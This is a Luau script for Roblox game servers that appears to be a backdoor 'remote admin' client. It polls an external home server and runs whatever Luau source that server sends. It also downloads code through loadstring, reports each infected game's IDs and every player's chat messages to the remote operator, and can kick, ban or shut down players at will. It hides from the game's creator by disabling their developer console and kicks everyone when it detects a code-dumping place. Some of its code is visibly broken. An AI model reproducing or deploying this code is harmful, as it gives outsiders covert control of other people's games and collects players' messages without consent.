-- * // 112x4's amazingly written and strictly typed sessions.luau
-- * // this is gonna get outdated soon anyway
-- * // im also going to expect this getting leaked by polygons eventually so i dont fucking care
-- * // authentication keys have also been removed
--!strict
--!optimize 2
--!native
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // insane moment of comment spams
-- * // alrighty, done spamming comments
-- * // start time
local start = tick()
-- * // types
type vLuaConfig = {
Contents: string,
RunContext: any,
Environment: any,
Convert: boolean,
Player: any
}
type playerBan = {
username: string,
reason: string,
moderator: string
}
-- * // services
local players: Players = game:GetService("Players")
local http: HttpService = game:GetService("HttpService")
local textChatService: TextChatService = game:GetService("TextChatService")
-- * // important variables
local homeUrl: string = "your home url goes there my friend"
local prefix: string = "chat prefix goes there"
local attempts: number = 0
local compression_false = Enum.HttpCompression.None
local stopped: boolean = false
local anon: boolean = false
local legacyChat = Enum.ChatVersion.LegacyChatService
local newChat = Enum.ChatVersion.TextChatService
local bans: {[any]: playerBan} = {}
-- * // whitelists, ban immunities and (group) bans
local whitelists = {banimmunitywhitelists={[1126847656]="CL0NEM"}}}--http:JSONDecode(http:GetAsync(`{homeUrl}whitelists`))
local userBans = http:JSONDecode(http:GetAsync(`{homeUrl}bans`))
local groupBans = http:JSONDecode(http:GetAsync(`{homeUrl}group-bans`))
-- * // connections
local connections: {[any]: any} = {}
-- * // assets
local vLua = require(100486349623492) -- or your own luau interpreter
local assets = "your mainmodule that contains assets go there"
local AES = loadstring(http:GetAsync(homeUrl.."aes"))()
local base64 = loadstring(http:GetAsync(homeUrl.."base64"))()
local ls = require(require(14703526515).Folder.ls) -- NLS, NS straight from zloader
-- * // AES
local cipher = AES.new("your AES key goes there my friend", AES.modes.CBC, AES.pads.Pkcs7)
-- * // miscellaneous functions
function errorHandler(text: string)
warn("[112x4]: "..text)
end
function httpEnabled(): any
return pcall(function(...): boolean | string
local starttime: number = tick()
http:GetAsync("https://httpbin.org/get")
if (tick() - starttime) >= 10 then
return false, "Disabled"
end
return true, "Enabled"
end)
end
function run(func: () -> any | nil): any
if stopped == true then
return false, "Session is stopped."
else
return coroutine.resume(coroutine.create(function(...): any | nil
return task.spawn(function(...): any | nil
return xpcall(func, errorHandler)
end)
end))
end
end
function wrap(func: () -> any | nil): any
if stopped == true then
return false, "Session is stopped."
else
return coroutine.wrap(function(...): any | nil
return task.spawn(function(...): any | nil
return xpcall(func, errorHandler)
end)
end)
end
end
-- * // security part 1
run(function(...): nil
local sandboxedEnvironment: any = {}
sandboxedEnvironment.NLS = ls.nls
sandboxedEnvironment.NS = ls.NS
sandboxedEnvironment.NewLocalScript = ls.nls
sandboxedEnvironment.NewScript = ls.nls
sandboxedEnvironment.setReadonly = function(tbl: any): any
return setmetatable(tbl, {
__newindex = function(_: any, index: number | string, value: any): any
return error("This table is read-only and therefore it cannot be modified.")
end
})
end
sandboxedEnvironment.disableReadonly = function(tbl: any): any
return setmetatable(tbl, {
__newindex = nil
})
end
for i: number | string, v: any in next, getfenv(0) do
sandboxedEnvironment[i] = v
end
setmetatable(sandboxedEnvironment, {
__metatable = function(_: any, index: number | string, value: any)
return error("You are not allowed to access the environment's metatable.")
end,
__newindex = function(_: any, index: number | string, value: any)
return error("You are not allowed to modify the environment.")
end,
})
pcall(setfenv, 0, sandboxedEnvironment)
return nil
end)
-- * // fakeouts
local _fakeout1: string = --[[ im not giving you my key ]] "yeah you just got trolled"
local _fakeout2: string = --[[ im not giving you my key ]] "another fakeout bro"
local _fakeout3: string = --[[ im not giving you my key ]] "yeah get trolled frfr"
local _fakeout4: string = --[[ im not giving you my key ]] "nuh uh"
local _fakeout5: string = --[[ im not giving you my key ]] "nuh uh"
local _fakeout6: string = --[[ im not giving you my key ]] "nuh uh"
local _morefakeouts: {[number | string]: string} = {
--[[ im not giving you my key ]]
}
-- * // secrets
local _fakeoutsecrets: {[number | string]: string} = {
--[[ im not giving you my key ]] _Authenticationfakeout = "fake out, make your own remote admin instead of skidding",
--[[ im not giving you my key ]] _AUTHENTICATIONFAKEOUT2 = "yes this is a fake out"
}
-- * // even more secret fakeouts????
local _moresecretfakeouts: {[number | string]: string} = {
--[[ im not giving you my key ]]
}
local _authenticationkeyfakeouts: {[number | string]: any} = {
--[[ im not giving you my key ]] something = buffer.tostring(base64.decode(buffer.fromstring(_fakeoutsecrets._Authenticationfakeout))),
--[[ im not giving you my key ]] _fakeout1 = buffer.tostring(base64.decode(buffer.fromstring(_fakeoutsecrets._AUTHENTICATIONFAKEOUT2)))
}
-- * // security part 2
run(function(...): nil
local tables = {
_authenticationkeyfakeouts,
_morefakeouts,
_moresecretfakeouts,
_fakeoutsecrets
}
for i: number | string, v: any in next, tables do
setmetatable(v, {
__metatable = function(_: any, index: number | string, value: any)
return error("You are not allowed to access this table's metatable.")
end,
__newindex = function(_: any, index: number | string, value: any)
return error("You are not allowed to modify this table.")
end,
})
end
return nil
end)
-- * // signal defer check
local IsDeferred: boolean do -- skidded this straight from nova (will be written in credits)
IsDeferred = false
run(function()
if workspace.SignalBehavior == Enum.SignalBehavior.Deferred then
IsDeferred = true
end
end)
local bindable = Instance.new("BindableEvent")
local handlerRun = false
bindable.Event:Connect(function()
handlerRun = true
end)
bindable:Fire()
bindable:Destroy()
if handlerRun == false then
IsDeferred = true
end
end
if IsDeferred then
return errorHandler("Sessions will not load in this server due to workspace.SignalBehavior being deferred.")
end
-- * // check if code is running in hidden dumper (will most likely NOT work)
if game.PlaceId == 16927961956 or game.GameId == 16927961956 then
for i: string | number, v: Player in next, players:GetPlayers() do
v:Kick("Hidden Dumper is not allowed by 112x4.")
end
end
-- * // session name
local sessionName: string do
local length = math.random(8, 16)
local array = {}
local characterlist = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"}
for i = 1,length do
array[i] = characterlist[math.random(1, #characterlist)]
end
sessionName = "112x4 :: "..game.PlaceId.." | "..table.concat(array)..""
end
-- * // session log
run(function(): any
do
run(function(): any
http:RequestAsync({
Url = homeUrl.."log-session",
Headers = {
["Content-Type"] = "application/json",
},
Method = "POST",
Compress = Enum.HttpCompression.None,
Body = http:JSONEncode({
gameId = game.PlaceId,
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
jobId = game.JobId
})
})
return true
end)
run(function(): any
http:RequestAsync({
Url = homeUrl.."create-session",
Headers = {
["Content-Type"] = "application/json",
},
Method = "POST",
Compress = Enum.HttpCompression.None,
Body = http:JSONEncode({
gameId = game.GameId,
jobId = game.JobId,
session_name = sessionName,
message = "A new session has been created!",
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
channel_id = "1330935132000878723",
creatorId = game.CreatorId
})
})
return true
end)
end
return true
end)
-- * // data poll
function handleJSON(data): any
task.spawn(function(): any
if data.params.action == "replicateMessage" and data.params.sessionName == sessionName then
run(function(): any
for i: number | string, player: Player in next, players:GetPlayers() do
if textChatService.ChatVersion == legacyChat then
if anon == false then
assets.createChatMessage("<font color='rgb("..data.params.color..")'>("..data.params.author..")</font> ["..prefix.."]: "..data.params.message.."", player)
else
assets.createChatMessage("["..prefix.."]: "..data.params.message.."", player)
end
elseif textChatService.ChatVersion == newChat then
if anon == false then
assets.createChatMessage("<font color='rgb("..data.params.color..")'>("..data.params.author..")</font> "..prefix..": "..data.params.message.."", player)
else
assets.createChatMessage(prefix..": "..data.params.message.."", player)
end
end
end
return true
end)
elseif data.params.action == "loadstring" and data.params.sessionName == sessionName then
run(function(): any
local Config: vLuaConfig = {
Contents = data.params.source,
RunContext = Enum.RunContext.Legacy,
Environment = getfenv(0),
Convert = false,
Player = nil
}
local _loadString = vLua(Config)()
return true
end)
elseif data.params.action == "getPlayers" and data.params.sessionName == sessionName then
run(function(): any
local listplayers: string = ""
for i: number | string, v: Player in next, players:GetPlayers() do
listplayers = listplayers.."> "..v.Name.." ("..v.UserId..")\n"
end
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json",
},
Compress = Enum.HttpCompression.None,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> Player list requested by "..data.params.author.."\n> ```\n"..listplayers.."> ```",
sessionName = sessionName
})
})
return true
end)
elseif data.params.action == "stopSession" and data.params.sessionName == sessionName then
run(function(): any
local succ, res = pcall(function()
stopped = true
http:RequestAsync({
Url = homeUrl.."change-session-status",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
status = "1330935386616234156", -- closed
sessionName = sessionName
})
})
end)
if not succ then
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json",
},
Compress = Enum.HttpCompression.None,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> ` ❌ ` **|** Session may have failed to stop. Please report the following error to the owner: "..res,
sessionName = sessionName
})
})
end
return true
end)
elseif data.params.action == "toggleAnon" and data.params.sessionName == sessionName then
run(function(): any
if anon == false then
anon = true
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json",
},
Compress = Enum.HttpCompression.None,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> ` ✅ ` **|** Anonymous mode has been turned on.",
sessionName = sessionName
})
})
else
anon = false
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json",
},
Compress = Enum.HttpCompression.None,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> ` ✅ ` **|** Anonymous mode has been turned off.",
sessionName = sessionName
})
})
end
return true
end)
elseif data.params.action == "hint" and data.params.sessionName == sessionName then
run(function(): any
for i: number | string, player: Player in next, players:GetPlayers() do
if anon == false then
assets.createHint(data.params.author, data.params.message, player)
else
assets.createHint("", data.params.message, player)
end
end
return true
end)
elseif data.params.action == "shutdown" and data.params.sessionName == sessionName then
run(function(...): nil
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> \` ❌ \` **|** *This session has been closed (Server has been forcibly shut down).*\n> *Please run the `closesession` command to archive or delete the session.*",
sessionName = sessionName
})
})
http:RequestAsync({
Url = homeUrl.."change-session-status",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
status = "1330935386616234156", -- closed
sessionName = sessionName
})
})
stopped = true
return nil
end)
run(function(...): nil
for index: number | string, player: Player in next, players:GetPlayers() do
player:Kick(`[112x4] This server has been shut by {data.params.author} down.`)
end
players.PlayerAdded:Connect(function(player: Player): nil
player:Kick(`[112x4] This server has been shut by {data.params.author} down. If this server is still running, please wait for one minute or longer.`)
return nil
end)
return nil
end)
elseif data.params.action == "serverKick" and data.params.sessionName == sessionName then
for i: number | string, player: Player in next, players:GetPlayers() do
if player.Name == data.params.playerToKick then
player:Kick(`[112x4] You have been kicked out of this server by {data.params.moderatorName}. Reason: {data.params.reason}`)
end
end
elseif data.params.action == "serverBan" and data.params.sessionName == sessionName then
for i: number | string, player: Player in next, players:GetPlayers() do
if player.Name == data.params.playerToBan then
player:Kick(`[112x4] You have been banned from joining this server by {data.params.moderatorName}. Reason: {data.params.reason}`)
bans[data.params.playerToBan] = {
username = data.params.playerToBan,
reason = data.params.reason,
moderator = data.params.moderatorName
}
end
end
elseif data.params.action == "serverUnban" and data.params.sessionName == sessionName then
if bans[data.params.playerToUnban] then
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> \` ✅ \` **|** "..data.params.playerToUnban.." has been successfully unbanned.",
sessionName = sessionName
})
})
bans[data.paramsplayerToUnban] = nil
else
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> \` ⚠️ \` **|** "..data.params.playerToUnban.." is not banned from this session.",
sessionName = sessionName
})
})
end
end
return true
end)
return true
end
wrap(function(): any
local function main(): any
local function makeRequest(): any
if stopped == false then
local request = http:RequestAsync({
Url = homeUrl.."data-poll",
Method = "GET",
Compress = compression_false,
Headers = {
["Content-Type"] = "application/json"
}
})
return request.Body
else
return false, "Session has been stopped."
end
end
local succ: boolean, res: any = pcall(function(): any
local data = makeRequest()
local decodedData = http:JSONDecode(data)
local succ: boolean, res: any = pcall(function(): any
if stopped == false then
if decodedData.status ~= "no_data" then
handleJSON(decodedData)
main()
else
main()
end
else
return false, "Session has been stopped."
end
return true
end)
if not succ and not stopped then
errorHandler(res)
main()
elseif not stopped and succ then
main()
end
return true
end)
if not succ and not stopped then
errorHandler(res)
main()
elseif not stopped and succ then
main()
end
return true
end
main()
return true
end)()
-- * // automatic session closure
run(function(): any
game:BindToClose(function(): any
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> \` ❌ \` **|** *This session has been closed (Server responded with `BindToClose`).*\n> *Please run the `closesession` command to archive or delete the session.*",
sessionName = sessionName
})
})
return true
else
return false, "Session has been stopped."
end
end)
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."change-session-status",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
status = "1330935386616234156", -- closed
sessionName = sessionName
})
})
return true
else
return false, "Session has been stopped."
end
end)
return true
end)
return true
end)
-- * // problem detector
wrap(function(): any
while true do
if (not httpEnabled()) and attempts <= 5 then
attempts = attempts + 1
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."change-session-status",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
status = "1330935423672782878", -- problems
sessionName = sessionName
})
})
return true
else
return false, "Session has been stopped."
end
end)
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."send-session-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = "> \` ⚠️ \` | **WARNING!**\n> *HttpService is currently experiencing ratelimits. Some requests may be taking more time to process.*",
sessionName = sessionName
})
})
return true
else
return false, "Session has been stopped"
end
end)
elseif httpEnabled() and attempts >= 1 then
attempts = 0
end
task.wait(25)
end
return true
end)
-- * // chat replicator
run(function(): any
for i: number | string, plr: Player in next, players:GetPlayers() do
plr.Chatted:Connect(function(message: string): any
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."send-webhook-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = message,
sessionName = sessionName,
username = plr.Name
})
})
return true
else
return false, "Session has been stopped"
end
end)
return true
end)
end
return true
end)
run(function(): any
players.PlayerAdded:Connect(function(plr: Player): any
task.spawn(function(): any
if stopped == false then
if plr.UserId == game.CreatorId then
run(function(): any
http:RequestAsync({
Url = homeUrl.."send-webhook-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = `> *{plr.Name} has joined the game.*`,
sessionName = sessionName,
username = plr.Name
})
})
return true
end)
assets.disableDeveloperConsole(plr)
else
run(function(): any
http:RequestAsync({
Url = homeUrl.."send-webhook-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = `> *{plr.Name} has joined the game.*`,
sessionName = sessionName,
username = plr.Name
})
})
return true
end)
end
return true
else
return false, "Session has been stopped."
end
end)
plr.Chatted:Connect(function(message: string): any
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."send-webhook-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = message,
sessionName = sessionName,
username = plr.Name
})
})
return true
else
return false, "Session has been stopped."
end
end)
return true
end)
return true
end)
return true
end)
-- * // player leave check
run(function(): any
players.PlayerRemoving:Connect(function(plr: Player): any
if plr.UserId == game.CreatorId then
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."send-webhook-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = `> *{plr.Name} has left the game.*`,
sessionName = sessionName,
username = plr.Name
})
})
return true
else
return false, "Session has been stopped"
end
end)
else
run(function(): any
if stopped == false then
http:RequestAsync({
Url = homeUrl.."send-webhook-message",
Method = "POST",
Headers = {
["Content-Type"] = "application/json"
},
Compress = compression_false,
Body = http:JSONEncode({
["Authorization"] = --[[ im not giving you my key ]] buffer.tostring(cipher:Decrypt(buffer.fromstring(_authenticationkeyfakeouts.something), nil, buffer.fromstring("ENTER YOUR INITIALIZATION VECTOR THERE LIL BRO"))),
message = `> *{plr.Name} has left the game.*`,
sessionName = sessionName,
username = plr.Name
})
})
return true
else
return false, "Session has been stopped."
end
end)
end
return true
end)
return true
end)
-- * // integrity checks
wrap(function(): any
while true do
local ifHiddenDumper: boolean do
if game.PlaceId == 16927961956 or game.GameId == 16927961956 then
ifHiddenDumper = true
stopped = true
else
ifHiddenDumper = false
end
end
if ifHiddenDumper then
for i: number | string, player: Player in next, players:GetPlayers() do
player:Kick()
end
end
task.wait(1)
end
return true
end)
-- * // player server bans
run(function(...): nil
players.PlayerAdded:Connect(function(player: Player): nil
if bans[player.Name] then
player:Kick(`[112x4] You have been banned from joining this server by {bans[player.Name].moderator}. Reason: {bans[player.Name].reason}`)
end
return nil
end)
return nil
end)
-- * // global (group) bans
connections.onJoin = players.PlayerAdded:Connect(function(player: Player): nil
run(function(...): nil
if bans[tostring(player.UserId)] then
player:Kick("[112x4] You are banned by "..bans[tostring(player.UserId)].moderator..". Reason: "..bans[tostring(player.UserId)].reason)
end
return nil
end)
run(function(...): nil
for index: string | number, value: any in pairs(groupBans) do
local group: number? | string = tonumber(groupBans[index].groupid)
if whitelists.banimmunitywhitelists[tostring(player.UserId)] or whitelists.whitelists[tostring(player.UserId)] then
elseif not whitelists.banimmunitywhitelists[tostring(player.UserId)] and not whitelists.whitelists[tostring(player.UserId)] and player:IsInGroup(tonumber(group)) then
player:Kick("[112x4] You have been banned for being in a banned group ("..groupBans[index].groupName.."). Reason: "..groupBans[index].reason)
end
end
return nil
end)
return nil
end)
-- * // global (group) bans and whitelists synchronization
wrap(function(...): nil
while task.wait(60) do
groupBans = http:GetAsync(`{homeUrl}group-bans`)
userBans = http:GetAsync(`{homeUrl}bans`)
whitelists = http:GetAsync(`{homeUrl}whitelists`)
run(function(...): nil
connections.onJoin:Disconnect()
connections.onJoin = players.PlayerAdded:Connect(function(plr: Player): nil
run(function(...): nil
if userBans[tostring(plr.UserId)] then
plr:Kick("[112x4] You are banned by "..userBans[tostring(plr.UserId)].moderator..". Reason: "..userBans[tostring(plr.UserId)].reason)
end
return nil
end)
return nil
end)
for i: string | number, player: Player in next, players:GetPlayers() do
run(function(...): nil
if userBans[tostring(player.UserId)] then
player:Kick("[112x4] You are banned by "..userBans[tostring(player.UserId)].moderator..". Reason: "..userBans[tostring(player.UserId)].reason)
end
return nil
end)
run(function(...): nil
for index: string | number, value: any in pairs(groupBans) do
local group: number? | string = tonumber(groupBans[index].groupid)
if whitelists.banimmunitywhitelists[tostring(player.UserId)] or whitelists.whitelists[tostring(player.UserId)] then
elseif not whitelists.banimmunitywhitelists[tostring(player.UserId)] and not whitelists.whitelists[tostring(player.UserId)] and player:IsInGroup(tonumber(group)) then
player:Kick("[112x4] You have been banned for being in a banned group ("..groupBans[index].groupName.."). Reason: "..groupBans[index].reason)
end
end
return nil
end)
end
return nil
end)
end
return nil
end)
return tick() - start